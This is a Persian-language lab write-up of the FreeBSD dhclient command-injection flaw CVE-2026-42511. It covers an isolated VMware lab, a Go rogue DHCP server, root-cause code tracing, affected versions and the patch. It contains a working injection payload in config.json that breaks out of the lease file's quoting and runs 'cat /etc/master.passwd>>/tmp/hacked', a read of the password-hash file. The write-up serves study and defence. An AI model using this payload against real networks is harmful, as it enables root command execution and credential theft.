۱. مقدمه
آسیبپذیری CVE-2026-42511 یک نقص امنیتی از نوع اجرای کد از راه دور در مؤلفه dhclient سیستمعامل FreeBSD است. این آسیبپذیری زمانی قابل بهرهبرداری است که یک DHCP Server مخرب یا غیرمجاز بتواند به درخواست DHCP سیستم FreeBSD پاسخ دهد و مقدار کنترلشدهای را در فیلد file در پیام BOOTP/DHCP قرار دهد.
در این آسیبپذیری، مقدار دریافتی از DHCP Server توسط dhclient در فایل lease ذخیره میشود. مشکل اصلی این است که مقدار فیلد file در پیام BOOTP/DHCP هنگام نوشتهشدن در فایل lease، بهدرستی از نظر کاراکترهای کنترلی و ساختار نقلقول escape نمیشود. در نتیجه، مهاجم میتواند با استفاده از کاراکترهایی مانند double quote و newline، از context مقدار filename خارج شود و directiveهای معتبر مربوط به پیکربندی dhclient را به فایل lease در مسیر /var/db/dhclient.leases.em0 (برای کارت شبکه em0) تزریق کند. پس از آن، در شرایطی که فایل lease دوباره توسط dhclient خوانده و parse شود، مقدار تزریقشده میتواند به مسیر اجرای dhclient-script برسد. در این مسیر، مقدار کنترلشده مهاجم در نهایت توسط اسکریپت ارزیابی میشود و امکان اجرای دستور با سطح دسترسی root فراهم میگردد. مسیر کلی آسیبپذیری بهصورت زیر قابل نمایش است:
ماهیت اصلی این آسیبپذیری، زنجیرهای از configuration injection و command injection است؛ یعنی دادهای که از شبکه دریافت شده، ابتدا به یک فایل پیکربندی قابل parse تبدیل میشود و سپس در مسیر اجرای shell مورد استفاده قرار میگیرد. مهاجم باید بتواند به پیامهای DHCP کلاینت پاسخ دهد؛ بنابراین در سناریوهای معمول، مهاجم باید در همان broadcast domain یا سگمنت لایه 2 با سیستم قربانی قرار داشته باشد، یا بتواند در آن شبکه نقش یک DHCP Server غیرمجاز را ایفا کند.
۱.۱ جدول مشخصات کلی آسیبپذیری
شماره آسیبپذیری: | CVE-2026-42511 |
معرفی آسیبپذیری: | آسیبپذیری اجرای کد از راه دور در dhclient سیستمعامل FreeBSD از طریق مقدار کنترلشده در فیلد file در پیام BOOTP/DHCP و تزریق directive در فایل lease |
امتیاز (CVSS): | 8.1 HIGH |
مولفه درگیر: | dhclient در هسته FreeBSD فایلهای lease مربوط به DHCP مسیر اجرایی dhclient-script(8) |
نوع آسیبپذیری: | تزریق directive در فایل lease ضعف در neutralization کاراکترهای quote اجرای کد با دسترسی root |
قابلیت در صورت اکسپلویت: | اجرای کد دلخواه با سطح دسترسی root |
۱.۲ تحلیلهای از پیش ارائه شده
نام تحلیلگر | تاریخ انتشار | لینک |
Joshua Rogers | May 7, 2026 | https://aisle.com/blog/aisle-discovers-cve-2026-42511-a-21-year-old-freebsd-remote-command-execution-vulnerability |
۱.۳ وضعیت Patch و نسخههای آسیبپذیر
شاخه/نسخه FreeBSD | وضعیت |
15.0-RELEASE | نسخههای قبل از پچ 7 (15.0-RELEASE < p7) آسیبپذیرند. رفع در 15.0-RELEASE-p7 انجام شده است. |
14.4-RELEASE | نسخههای قبل از پچ 3 (14.4-RELEASE < p3) آسیبپذیرند. رفع در 14.4-RELEASE-p3 انجام شده است. |
14.3-RELEASE | نسخههای قبل از پچ 12 (14.3-RELEASE < p12) آسیبپذیرند. رفع در 14.3-RELEASE-p12 انجام شده است. |
13.5-RELEASE | نسخههای قبل از پچ 13 (13.5-RELEASE < p13) آسیبپذیرند. رفع در 13.5-RELEASE-p13 انجام شده است. |
نسخههای قدیمیتر از 13.5-RELEASE | آسیبپذیر |
۱.۴ راهاندازی محیط آزمایشگاهی برای تحقیق و توسعه
در این بخش، محیط آزمایشگاهی مورد استفاده برای بازتولید و تحلیل CVE-2026-42511 معرفی میشود. هدف از این آزمایشگاه، بررسی کنترلشده مسیر آسیبپذیری از سطح پکت (Packet) تا سطح سیستم قربانی است؛ یعنی از لحظه دریافت پاسخ DHCP مخرب توسط FreeBSD تا ذخیره مقدار در lease file و بررسی اثر آن روی جریان اجرای dhclient. این محیط بهگونهای طراحی شده که هیچ ترافیک DHCP یا پیلود (Payload) آزمایشی از محدوده ماشینهای مجازی خارج نشود و تمام مراحل در یک شبکه ایزوله انجام شود.
از آنجایی که این آسیبپذیری به پاسخ DHCP مخرب وابسته است، محیط آزمایشگاهی به شکلی طراحی شده است که ماشین مهاجم بتواند نقش Rogue DHCP Server را ایفا کند و ماشین FreeBSD قربانی نیز پاسخ DHCP را از همین ماشین دریافت کند.
۱.۴.۱ نیازمندیهای سختافزاری
برای بازتولید آسیبپذیری و اجرای PoC، یک محیط آزمایشگاهی ایزوله مبتنی بر ماشین مجازی استفاده شد. این محیط باید بتواند حداقل دو ماشین مجازی را بهصورت همزمان اجرا کند: یک ماشین Kali Linux بهعنوان DHCP Server آزمایشگاهی و یک ماشین FreeBSD بهعنوان کلاینت هدف.
- ماشین میزبان (Host):
- ویندوز 10 یا 11 (64 بیت)
- حداقل 8 گیگابایت رم
- یک شبکه ایزوله مانند VMnet2
- SSD با حداقل 30 گیگابایت فضای خالی.
۱.۴.۲ نیازمندیهای نرمافزاری
- VMware Workstation Pro.
- یک ماشین مجازی که از آن به عنوان Rogue DHCP Server استفاده شود؛ مانند Kali Linux.
- Go Compiler، جهت بیلد پروژه DHCP Server آزمایشگاهی PoC (فایل سورس پروژه و اجرایی آن نیز در کنار این سند قرار گرفته است)
- یک ماشین مجازی FreeBSD نسخه آسیبپذیر.
- 0-RELEASE < p7
- 4-RELEASE < p3
- 3-RELEASE < p12
- 5-RELEASE < p13
- < 13.5-RELEASE
- یک نرمافزار نوشته شده که به عنوان Rogue DHCP Server در سیستمعامل مهاجم عمل کند.
۱.۴.۳ مراحل گامبهگام راهاندازی آزمایشگاه
مراحل راهاندازی این آزمایشگاه شامل ۵ قسمت میشود که در ادامه به تشریح آنها خواهیم پرداخت.
۱.۴.۳.۱ تنظیم شبکه مجازی در VMware
در VMware Virtual Network Editor، یک شبکه اختصاصی با نام VMnet2 بهعنوان یک شبکه مجازی اختصاصی برای این آزمایشگاه استفاده میشود. برخلاف VMnet0 که معمولاً برای Bridged Networking و VMnet8 که معمولاً برای NAT استفاده میشود، VMnet2 در این آزمایشگاه بهصورت یک شبکه Custom/Host-only تنظیم شده است. هدف از این کار، ایجاد یک Broadcast Domain محدود بین دو ماشین مجازی و جداسازی کامل ترافیک آزمایشگاهی از شبکه اصلی سیستم میزبان و جلوگیری از دخالت DHCP Serverهای واقعی یا ناخواسته است. در این طراحی، Kali و FreeBSD هر دو به VMnet2 متصل میشوند. این یعنی DHCP Discover ارسالشده توسط FreeBSD فقط داخل همین شبکه مجازی منتشر میشود و Kali میتواند آن را دریافت کند.
غیرفعال کردن DHCP داخلی VMware برای VMnet2 ضروری است. اگر DHCP داخلی VMware فعال باشد، ماشین FreeBSD ممکن است بهجای DHCP Server آزمایشگاهی، از VMware DHCP پاسخ بگیرد. در این حالت، نتیجه تست ناپایدار و غیرقابل استناد میشود. بنابراین در این سناریو، تنها DHCP Server فعال در شبکه باید همان برنامه آزمایشگاهی اجراشده روی Kali Linux باشد.
۱.۴.۳.۱.۱ غیرفعالسازی VMware DHCP روی VMnet2
در VMnet2، گزینه Use local DHCP service to distribute IP address to VMs غیرفعال شده است. این کار ضروری است، به این دلیل که اگر DHCP داخلی VMware فعال باشد، FreeBSD ممکن است بهجای دریافت پاسخ از Rogue DHCP Server، از DHCP داخلی VMware پاسخ بگیرد. با غیرفعال کردن DHCP داخلی VMware، تنها سرویس DHCP فعال در VMNet2 همان Rogue DHCP Responder اجراشده روی Kali خواهد بود.
۱.۴.۳.۱.۲ سابنت (Subnet) آزمایشگاهی 192.168.50.0/24
سابنت مورد استفاده در این آزمایشگاه برابر 192.168.50.0/24 است. در این طراحی، Kali Linux بهعنوان Rogue DHCP Responder در آدرس 192.168.50.1 قرار میگیرد و به FreeBSD قربانی یک آدرس از همین سابنت، برای مثال 192.168.50.100، پیشنهاد میدهد. ساختار کلی آدرسدهی به شکل زیر است:
VMNet2 Subnet: 192.168.50.0/24
Rogue DHCP Server: 192.168.50.1
Subnet Mask: 255.255.255.0
۱.۴.۳.۲ تنظیم Kali Linux بهعنوان DHCP Server آزمایشگاهی
ماشین Kali Linux باید به شبکه VMnet2 متصل و آدرس IP ثابت 192.168.50.1/24 روی اینترفیس (Interface) متصل به این شبکه تنظیم گردد. در Kali، به دلیل اینکه مدیریت شبکه معمولاً توسط NetworkManager انجام میشود، استفاده از nmcli روش مناسبتری نسبت به تنظیم موقت IP با ip addr است. ابتدا connectionها و interfaceهای موجود بررسی میشوند:
sudo nmcli con show
sudo nmcli dev status
ip - br a
در این سناریو فرض شده است که اینترفیس متصل به VMnet2 در Kali برابر eth0 است. اگر نام اینترفیس متفاوت باشد، باید در دستورهای زیر مقدار واقعی جایگزین شود.
- ایجاد پروفایل اختصاصی شبکه آزمایشگاهی:
sudo nmcli con add type ethernet \
ifname eth0 \
con-name prv-net-dhcp-srv \
ipv4.method manual \
ipv4.addresses 192.168.50.1/24
2. فعالسازی پروفایل:
sudo nmcli con up prv-net-dhcp-srv
3. بررسی تنظیم IP:
ip -br a
۲. سناریوی اجرای آسیبپذیری
هدف از این سناریو، بازتولید کنترلشده آسیبپذیری CVE-2026-42511 در یک محیط آزمایشگاهی ایزوله است. در این محیط، یک ماشین Kali Linux بهعنوان DHCP Server آزمایشگاهی و یک ماشین FreeBSD 15.0-RELEASE بهعنوان DHCP Client آسیبپذیر استفاده میشود.
در این سناریو، ماشین FreeBSD برای دریافت تنظیمات IPv4 از DHCP استفاده میکند. ماشین Kali نیز با اجرای DHCP Server نوشتهشده با زبان Go، به پیامهای DHCP Discover و DHCP Request پاسخ میدهد و در پاسخهای DHCP Offer و DHCP ACK، مقدار کنترلشدهای را در فیلد file در پیام BOOTP/DHCP قرار میدهد.
مطابق RFC 2131، پیامهای DHCP از قالب پیام BOOTP استفاده میکنند و در این قالب، فیلد file یک فیلد ثابت 128 بایتی برای نام فایل boot است. بنابراین در این مقاله، منظور از فیلد file، همان فیلد ثابت موجود در قالب پیام BOOTP/DHCP است، نه یک DHCP Option معمولی.
۲.۱ شرح فایلهای ارائهشده
فایلهای PoC در قالب یک پروژه Go ارائه شدهاند. این پروژه یک DHCPv4 Server ساده و آزمایشگاهی را پیادهسازی میکند که برای کنترل مستقیم روی برخی فیلدهای ثابت پیام BOOTP/DHCP و همچنین برخی DHCP Optionها طراحی شده است. ساختار کلی فایلهای ارائهشده پروژه DHCP Server آزمایشگاهی بهصورت زیر است:
DHCP-Server/
├── README.md
├── go.mod
├── config.json
├── config.example.json
├── dhcp-lab
├── cmd/
│ └── dhcp-lab/
│ └── main.go
└── internal/
└── dhcp/
├── config.go
├── config_test.go
├── lease.go
├── options.go
├── packet.go
├── server.go
├── sockopt_unix.go
└── sockopt_windows.go
فایل | نقش |
README.md | توضیح کلی پروژه، روش build، روش اجرا و فیلترهای Wireshark |
go.mod | تعریف ماژول Go پروژه |
config.json | کانفیگ اجرایی PoC شامل IP سرور، pool، subnet، DNS، router و مقدار فیلد file |
config.example.json | نمونه کانفیگ قابل تغییر برای سناریوهای دیگر |
dhcp-lab | باینری buildشده DHCP Server آزمایشگاهی |
cmd/dhcp-lab/main.go | نقطه ورود برنامه، خواندن فایل کانفیگ، ساخت server و اجرای آن |
internal/dhcp/config.go | خواندن و اعتبارسنجی کانفیگ، ساخت مقدار نهایی فیلد file از file_initial_part و file_command |
internal/dhcp/lease.go | مدیریت leaseها و تخصیص IP از pool تعریفشده |
internal/dhcp/options.go | تعریف و پردازش DHCP Optionها |
internal/dhcp/packet.go | parse کردن packet ورودی و ساخت packet پاسخ شامل DHCPOFFER و DHCPACK |
internal/dhcp/server.go | گوشدادن روی UDP/67، پردازش DHCPDISCOVER و DHCPREQUEST و ارسال پاسخ |
sockopt_unix.go sockopt_windows.go | تنظیمات socket مرتبط با سیستمعامل برای ارسال broadcast |
این پروژه برای استفاده در شبکه آزمایشگاهی طراحی شده و هدف آن کنترل دقیق روی پاسخهای DHCP است.
۲.۲ کانفیگ مورد استفاده در اکسپلویت
در سناریوی آزمایشگاهی، فایل config.json تعیین میکند که DHCP Server روی چه آدرسی bind شود، چه IPای بهعنوان DHCP Server معرفی شود، چه محدودهای برای lease استفاده شود و چه مقداری در فیلد file در پیام BOOTP/DHCP قرار بگیرد.
{
"bind_ip": "0.0.0.0",
"server_ip": "192.168.50.1",
"pool_start": "192.168.50.100",
"pool_end": "192.168.50.200",
"subnet_mask": "255.255.255.0",
"router": "192.168.50.1",
"dns_servers": [
"192.168.50.1"
],
"file_initial_part": "\";\n medium \";",
"file_command": "cat /etc/master.passwd>>/tmp/hacked"
}
در این کانفیگ، آیپی DHCP Server 192.168.50.1 است و به کلاینتها از محدوده 192.168.50.100 تا 192.168.50.200 آدرس میدهد و همچنین قابل ذکر است که مقدار نهایی فیلد file از اتصال دو مقدار file_initial_part و file_command ساخته میشود.
مقدار file_initial_part برای خروج از context رشته در فایل lease استفاده میشود و مقدار file_command یک یا چند دستور (در صورت نیاز برای نوشتن چند دستور باید در انتهای هر دستور از علامت ; (سمیکالِن) استفاده شود. برای مثال: “file_command”: “pwd>>/tmp/hacked; whoami>>/tmp/hacked; hostname>>/tmp/hacked; date>>/tmp/hacked;”) را مشخص میکند. در این سناریو، دستور نهایی فایل /tmp/hacked را با محتوای /etc/master.passwd ایجاد یا تکمیل میکند. این مقادیر در فایل کانفیگ فعلی PoC وجود دارند.
۲.۳ اجرای DHCP Server آزمایشگاهی
اقدام بعدی پس از آمادهسازی اینترفیس شبکه روی Kali، اجرای برنامه DHCP Server آزمایشگاهی است. این برنامه با زبان Go نوشته شده و هدف آن ساخت یک DHCP Server کنترلشده برای تولید پاسخهای DHCPOFFER و DHCPACK با مقدار دلخواه در فیلد file در پیام BOOTP/DHCP است. در صورت استفاده از باینری از پیش کامپایل شده:
cd DHCP-Server
chmod +x ./dhcp-lab
sudo ./dhcp-lab -config ./config.json
در صورت build کردن از سورس:
cd DHCP-Server
go build -o dhcp-lab ./cmd/dhcp-lab
sudo ./dhcp-lab -config ./config.json
اجرای برنامه با sudo لازم است، زیرا DHCP Server باید بر روی پورت UDP/67 گوش دهد. در پروتکل DHCP، سرور روی UDP/67 و کلاینت روی UDP/68 کار میکند. پس از اجرا، برنامه روی UDP/67 منتظر پیامهای DHCP میماند. رفتار کلی برنامه به این شکل است:
پیام دریافتی از FreeBSD | پاسخ DHCP Server آزمایشگاهی | نتیجه |
DHCPDISCOVER | DHCPOFFER | پیشنهاد IP از pool تعریفشده |
DHCPREQUEST | DHCPACK | تأیید lease و ارسال تنظیمات نهایی |
DHCPRELEASE | در این PoC صرفاً log میشود | آزادسازی عملیاتی lease انجام نمیشود |
پیامهای دیگر | نادیده گرفته میشوند | خارج از هدف سناریوی آزمایشگاهی |
۲.۴ تنظیم FreeBSD برای دریافت lease از DHCP Server آزمایشگاه
در سمت FreeBSD، interface متصل به VMnet2 باید بهعنوان DHCP Client فعال شود و آدرس IP خود را از DHCP Server آزمایشگاهی دریافت کند.
- بررسی اینترفیسهای موجود در FreeBSD:
ifconfig -l
ifconfig -a
- فعال کردن DHCPبرای اینترفیس em0:
sysrc ifconfig_em0="DHCP"
service netif restart em0
- راهاندازی DHCP client و دریافت lease:
service dhclient restart em0
- بررسی وضعیت اینترفیس پس از دریافت IP:
ifconfig
- بررسی فایل lease مربوط به اینترفیس em0:
cat /var/db/dhclient.leases.em0
در FreeBSD، فعالسازی DHCP از طریق /etc/rc.conf با الگوی ifconfig_<interface>=”DHCP” انجام میشود و dhclient مسئول ارتباط با DHCP Server و تنظیم interface بر اساس اطلاعات دریافتی است. دستور گفته شده در مرحله 2 (sysrc ifconfig_em0=”DHCP”) نیز همین تغییر را در فایل /etc/rc.conf برای اینترفیس em0 در این فایل انجام میدهد.
۲.۵ جریان پیامهای DHCP در شبکه
در اجرای موفق سناریو، جریان پیامهای DHCP باید شامل چهار مرحله اصلی باشد:
در capture شبکه، این جریان معمولاً به شکل زیر دیده میشود (توالی پیامهای DHCP مشاهدهشده در Wireshark):
مرحله | مبدأ | مقصد | نوع پیام | توضیح |
1 | 0.0.0.0:68 | 255.255.255.255:67 | DHCP Discover | FreeBSD بهعنوان کلاینت به دنبال DHCP Server میگردد. |
2 | 192.168.50.1:67 | 192.168.50.255:68 | DHCP Offer | کالی بهعنوان DHCP Server آزمایشگاهی IP پیشنهاد میدهد. |
3 | 0.0.0.0:68 | 255.255.255.255:67 | DHCP Request | FreeBSD درخواست دریافت IP پیشنهادی را ارسال میکند. |
4 | 192.168.50.1:67 | 192.168.50.255:68 | DHCP ACK | کالی lease را تأیید و تنظیمات نهایی را ارسال میکند. |
۲.۶ مقداردهی فیلد file در پیام BOOTP/DHCP
نقطه مهم در این سناریو، مقداردهی فیلد file در پیام BOOTP/DHCP در پاسخ DHCPACK است. در ساختار پیام DHCP، این فیلد قبل از بخش options قرار دارد و طبق RFC 2131 طول آن 128 بایت است. در PoC نوشتهشده با Go، مقدار نهایی این فیلد از فایل کانفیگ خوانده میشود. اگر مقدارهای file_initial_part یا file_command در کانفیگ وجود داشته باشند، مقدار نهایی بهصورت ترکیب این دو ساخته میشود:
file = file_initial_part + file_command
در سناریوی حاضر (مقادیر استفادهشده برای ساخت payload آزمایشگاهی):
file_initial_part = "\";\n medium \";"
file_command = "cat /etc/master.passwd>>/tmp/hacked"
خروجی این ترکیب بهعنوان مقدار فیلد file در پیام BOOTP/DHCP قرار میگیرد. در تصویر زیر در Wireshark، این مقدار در بخش Boot file name قابل مشاهده است. باید توجه کرد که Wireshark ممکن است این بخش را با عنوان Boot file name نمایش دهد، اما در تحلیل مقاله بهتر است از عبارت دقیقتر فیلد file در پیام BOOTP/DHCP استفاده شود.
لازم به ذکر است که این فیلد با DHCP Option 67 متفاوت است. Option 67 با عنوان Bootfile Name یک DHCP Option است، اما فیلد مورد بحث در این آسیبپذیری، فیلد ثابت file در ساختار اصلی پیام BOOTP/DHCP است.
۲.۷ بررسی اثر اجرای PoC روی FreeBSD
همانطور که در تصویر زیر مشاهده میشود، فایل lease ابتدا شامل یک lease عادی و معتبر برای اینترفیس em0 است؛ اما پس از دریافت پاسخ DHCP مخرب، محتوای ذخیرهشده در /var/db/dhclient.leases.em0 تغییر کرده و یک lease دوم به آن اضافه شده است. در این lease جدید، مقدار کنترلشدهی مهاجم از فیلد filename باعث شکستن ساختار عادی lease و تزریق directive جدیدی به نام medium شده است. به این ترتیب، فایل lease از یک رکورد صرفاً “پیکربندی شبکه” به یک poisoned lease file تبدیل میشود که در مرحلهی بعد، هنگام پردازش مجدد توسط dhclient، میتواند مقدار آلوده را به dhclient-script منتقل کند.
پارس شدن مجدد فایل lease توسط dhclient هنگام بوت شدن سیستم، ریاستارت شدن سرویس شبکه یا DHCP client، اجرای مجدد dhclient برای همان اینترفیس و زمانی که پروسهی قبلی dhclient متوقف و دوباره راهاندازی شود، اتفاق میافتد. لازم به ذکر است که در renewal عادی، الزاماً فایل lease از دیسک دوباره خوانده نمیشود.
در این مرحله میتوان یکبار سیستم FreeBSD را با دستور shutdown -r now ریاستارت کرد و یا سرویس DHCP را برای اینترفیس em0 با دستور service dhclient restart em0 مجددا راهاندازی کرد تا پس از آن پیلود نوشته شده در فایل lease اجرا شود. پس از دریافت lease و طی شدن مسیر آسیبپذیر، اثر payload آزمایشگاهی باید روی ماشین FreeBSD قابل مشاهده باشد. در اینجا، payload انتخابشده فقط فایل /tmp/hacked را ایجاد یا به آن مقدار اضافه میکند. بررسی اثر پیلود روی FreeBSD:
less /tmp/hacked
خروجی مورد انتظار:
این خروجی نشان میدهد که مقدار قرارگرفته در فیلد file در پیام BOOTP/DHCP در نهایت وارد زنجیره پردازش dhclient شده و دستور آزمایشگاهی با موفقیت اجرا شده است.
۳. تحلیل آسیبپذیری
ریشه CVE-2026-42511 در این است که dhclient مقدار کنترلشده دریافتی از DHCP Server را از فیلد file در پیام BOOTP/DHCP وارد state داخلی lease میکند و سپس همان مقدار را بدون neutralization مناسب در فایل lease مینویسد. فایل lease بعداً دوباره توسط dhclient پارس میشود؛ در نتیجه، دادهای که ابتدا ورودی غیرقابل اعتماد شبکه بوده، به directive معتبر dhclient تبدیل میشود. این آسیبپذیری از نوع memory corruption نیست. primitive اصلی آن شکستن context رشته در فایل lease و تبدیل داده شبکهای به syntax معتبر فایل پیکربندی است.
[Network / DHCP reply]
↓ [callback/event]
bootp_packet_handler = do_packet
dispatch()
↓ [CALL via packet handler]
do_packet(...)
↓ [local packet wrapper / parsed packet]
dhcp(packet)
├── DHCPOFFER → dhcpoffer(packet)
└── DHCPACK → dhcpack(packet)
↓ [CALL + ARG]
packet_to_lease(packet)
↓ [RETURN]
lease
↓ [FIELD COPY / ASSIGN]
packet->raw->file → lease->filename
packet->raw->sname → lease->server_name
packet->raw->yiaddr → lease->address
packet->raw->siaddr → lease->nextserver
↓ [ASSIGN]
ip->client->new = lease
↓ [CALL, but data is read from ip->client->new]
bind_lease(ip)
↓ [CALL + ARG from state]
write_client_lease(ip, ip->client->new, 0)
↓ [SIDE / FILE WRITE]
fprintf(... "filename \"%s\";" ...)
fprintf(... "server-name \"%s\";" ...)
↓ [FILE]
/var/db/dhclient.leases.
↓ [PROCESS / TIME BOUNDARY]
restart / lease reload
↓ [CALL]
main()
↓ [CALL; config first]
read_client_conf()
↓ [CALL; lease DB opened]
read_client_leases()
↓ [PARSE]
parse_client_lease_statement()
↓ [PARSE + mutates new lease object]
parse_client_lease_declaration(cfile, lease, &ip)
↓ [TOKEN CASE]
case MEDIUM:
↓ [ASSIGN into parsed lease]
parse_string_list(cfile, &lease->medium, 0)
↓ [ASSIGN]
ip->client->active = lease
↓ [CALL; reads active lease from state]
state_reboot(ip)
↓ [CALL]
send_request(ip)
↓ [CONDITION + state read]
if S_REBOOTING && ip->client->active->medium:
↓ [ENV setup]
script_init("MEDIUM", ip->client->active->medium)
↓ [IPC / privileged helper path]
script_go()
↓ [CALL in privileged side]
priv_script_go()
↓ [EXEC]
execve("/sbin/dhclient-script", ..., envp)
↓ [SHELL VARIABLE]
dhclient-script: case "$reason" in MEDIUM)
↓ [SINK]
eval "$IFCONFIG $interface $medium"
۳.۱ فایلها و نقاط کدی درگیر
در این CVE دو فایل اصلی اهمیت دارند:
- c برای دریافت، ساخت lease و serialize کردن آن.
- dhclient-script برای اعمال lease روی interface.
در ماشین تست این تحقیق، نسخه FreeBSD برابر 15.0-RELEASE است؛ بنابراین برای لینک GitLab، فایلهای branch/commit متناظر با همین build نیز در جدول آمدهاند.
فایل | نقش در زنجیره آسیبپذیری | لینک GitLab |
sbin/dhclient/dhclient.c | دریافت مقدار file از packet، انتقال به lease->filename، نوشتن lease روی دیسک | https://gitlab.com/FreeBSD/freebsd-src/-/blob/7aedc8de6446/sbin/dhclient/dhclient.c |
sbin/dhclient/dhclient-script | اعمال state دریافتی از dhclient روی interface و استفاده از medium در مسیر eval | https://gitlab.com/FreeBSD/freebsd-src/-/blob/7aedc8de6446/sbin/dhclient/dhclient-script |
sbin/dhclient/dhclient.c در commit اصلاحی releng/15.0 | اضافهشدن validation برای server_name و filename در کامیت (Commit) اصلاحی e7b4fb41aafa | https://gitlab.com/FreeBSD/freebsd-src/-/commit/e7b4fb41aafaf6ccb4ff14684416223c1f6f92e8 |
۳.۲ ورود داده مخرب در ()packet_to_lease
اولین نقطه مهم در dhclient.c تابع ()packet_to_lease است. در نسخه آسیبپذیر، وقتی DHCP option overload اجازه بدهد که فیلد ثابت file استفاده شود و مقدار packet->raw->file[0] خالی نباشد، مقدار فیلد file از packet خام DHCP به lease->filename کپی میشود.
۳.۲.۱ کد آسیبپذیر
ضعف این بخش این نیست که memcpy بهتنهایی overflow ایجاد میکند؛ طول کپی با DHCP_FILE_LEN ثابت است و یک NUL terminator نیز بعد از آن گذاشته میشود. ضعف اصلی این است که مقدار کپیشده، قبل از ورود به state داخلی lease از نظر کاراکترهای مؤثر در syntax فایل lease بررسی نمیشود. در ادامه خواهیم دید که وصله (Patch) دقیقاً بعد از همین memcpy و با اضافه شدن بررسی روی ” (دبل کوتیشن) و \ (بکاسلش) اتفاق افتاده است.
۳.۳ نقطه آسیبپذیر در ()write_client_lease
پس از ساختهشدن ساختار lease، dhclient آن را در فایل lease روی دیسک serialize میکند. نقطه آسیبپذیر در تابع write_client_lease() است؛ جایی که مقدار lease->filename مستقیماً داخل یک رشته quoted نوشته میشود.
قالب مورد انتظار برنامه این است:
filename "boot/loader.efi";
اما اگر مقدار lease->filename شامل double quote و newline باشد، مقدار دیگر فقط content نیست و تبدیل به syntax میشود. یعنی مهاجم میتواند رشته را ببندد، directive قبلی را تمام کند و directive جدیدی مثل medium را وارد فایل lease کند.
۳.۴ داده trigger و شکل lease آلوده
در آزمایشگاه این تحقیق، مقدار تزریقشده از دو بخش ساخته میشود (بخشهای payload آزمایشگاهی در config.json):
"file_initial_part": "\";\n medium \";",
"file_command" : "cat /etc/master.passwd>>/tmp/hacked"
این دو مقدار در فایل config.json فعلی آزمایشگاه قرار دارند و خروجی آنها مقدار فیلد file در پیام BOOTP/DHCP را میسازد و مقدار نهایی چنین اثری روی فایل lease دارد:
filename "";
medium ";cat /etc/master.passwd>>/tmp/hacked";
اینجا نکته مهم این است که فایل lease، خراب یا غیرقابل parse نمیشود؛ برعکس، از نظر syntax همچنان معتبر میماند. همین باعث میشود دادهِ مهاجم در مرحله بعد بهعنوان state معتبر dhclient پذیرفته شود.
۳.۵ نقطه sink در dhclient-script
بعد از پارس مجدد lease، directive تزریقشده medium به مسیر اجرای dhclient-script میرسد. در این اسکریپت، مقدار medium وارد eval میشود.
eval "$IFCONFIG $interface $medium"
در حالت عادی، هدف این خط اجرای ifconfig با پارامترهای لازم برای interface است. اما اگر medium از lease آلوده آمده باشد و شامل shell metacharacter باشد، eval کل رشته را دوباره به shell میدهد. برای payload آزمایشگاهی این تحقیق، اجرای مفهومی به شکل زیر قابل توضیح است:
eval "/sbin/ifconfig em0 ;cat /etc/master.passwd>>/tmp/hacked"
این بخش همان جایی است که آسیبپذیری از configuration injection به command execution تبدیل میشود. اگر dhclient-script از eval استفاده نمیکرد یا مقدار medium را بهصورت آرگومان امن و جداگانه به ifconfig پاس میداد، این مرحله از زنجیره exploit قابل سوءاستفاده نبود یا حداقل بهشدت سختتر میشد.
۳.۶ تفاوت مسیر آسیبپذیر با DHCP options معمولی
یک اشتباه تحلیلی این است که تصور شود هر مقدار دلخواه در DHCP response همین primitive را ایجاد میکند. مسیر آسیبپذیر مشخصاً به lease->filename و تا حدی lease->server_name مربوط است، زیرا این مقادیر از فیلدهای ثابت BOOTP/DHCP وارد lease میشوند و در نسخه آسیبپذیر بدون escape مناسب serialize میگردند. همه فیلدهای نوشتهشده در lease به یک اندازه خطرناک نیستند.
- نام اینترفیس محلی است.
- addressها قبل از نوشتن به متن IP معتبر تبدیل میشوند.
- optionهای DHCP از مسیر pretty_print_option() عبور میکنند.
بنابراین primitive مستقیم تزریق syntax برای آنها مشابه filename نیست.
منبع داده | کنترل توسط DHCP Server | وضعیت در مسیر نوشتن lease | ریسک تزریق |
نام interface | خیر | از سیستم محلی میآید | پایین |
آدرس IP | محدود | به نمایش متنی IP تبدیل میشود | پایین |
DHCP options معمولی | بله | از مسیر pretty-print/sanitization عبور میکند | کمتر |
lease->filename | بله | در نسخه آسیبپذیر مستقیم serialize میشود | بالا |
lease->server_name | بله | در نسخه آسیبپذیر مستقیم serialize میشود | بالا |
۳.۷ تحلیل وضعیت داده در نقاط بحرانی
برای این CVE، تحلیل درست بهجای stack/heap layout، تحلیل تغییر وضعیت داده است؛ از packet شبکه، به ساختار lease، به فایل persistent، به state معتبر و در نهایت به shell sink.
مرحله | محل داده | وضعیت داده | نکته امنیتی |
دریافت DHCP response | packet شبکه | مقدار کنترلشده در فیلد file در پیام BOOTP/DHCP | untrusted input |
ساخت lease | lease->filename | داده وارد state داخلی میشود | هنوز اجرا نشده، ولی validate نشده است |
نوشتن lease | /var/db/dhclient.leases.<if> | داده در context quoted نوشته میشود | quote/newline باعث تزریق syntax میشود |
parse مجدد lease | parser داخلی dhclient | directive تزریقشده معتبر تلقی میشود | داده مهاجم trusted میشود |
اجرای script | dhclient-script | مقدار medium وارد eval میشود | command execution با privilege بالا |
۴. تحلیل کد بهرهبردار
کد بهرهبردار ارائهشده، یک DHCP Server آزمایشگاهی نوشتهشده با زبان Go است. هدف این برنامه، پیادهسازی یک DHCP Server کامل production نیست؛ بلکه هدف آن ایجاد کنترل دقیق روی بخشهایی از پاسخ DHCP است که برای بازتولید CVE-2026-42511 لازم هستند. در این PoC، تمرکز روی تولید پاسخهای DHCPOFFER و DHCPACK است؛ بهطوریکه مقدار کنترلشده در فیلد file در پیام BOOTP/DHCP قرار بگیرد. این مقدار در سمت FreeBSD توسط dhclient پردازش شده و در صورت طی شدن زنجیره آسیبپذیر، به dhclient-script میرسد. کد بهرهبردار از چند بخش اصلی تشکیل شده است:
بخش | نقش |
cmd/dhcp-lab/main.go | نقطه ورود برنامه، خواندن کانفیگ و اجرای سرور |
internal/dhcp/config.go | خواندن JSON، ساخت مقدار نهایی file و اعتبارسنجی مقادیر |
internal/dhcp/lease.go | مدیریت pool و تخصیص IP به MAC کلاینت |
internal/dhcp/options.go | parse و encode کردن DHCP optionها |
internal/dhcp/packet.go | parse packet ورودی و ساخت پاسخ DHCP |
internal/dhcp/server.go | گوشدادن روی UDP/67 و مدیریت پیامهای DHCP |
internal/dhcp/sockopt_unix.go | فعالسازی ارسال broadcast روی socket در سیستمهای Unix-like |
۴.۱ نقطه ورود برنامه و بارگذاری کانفیگ
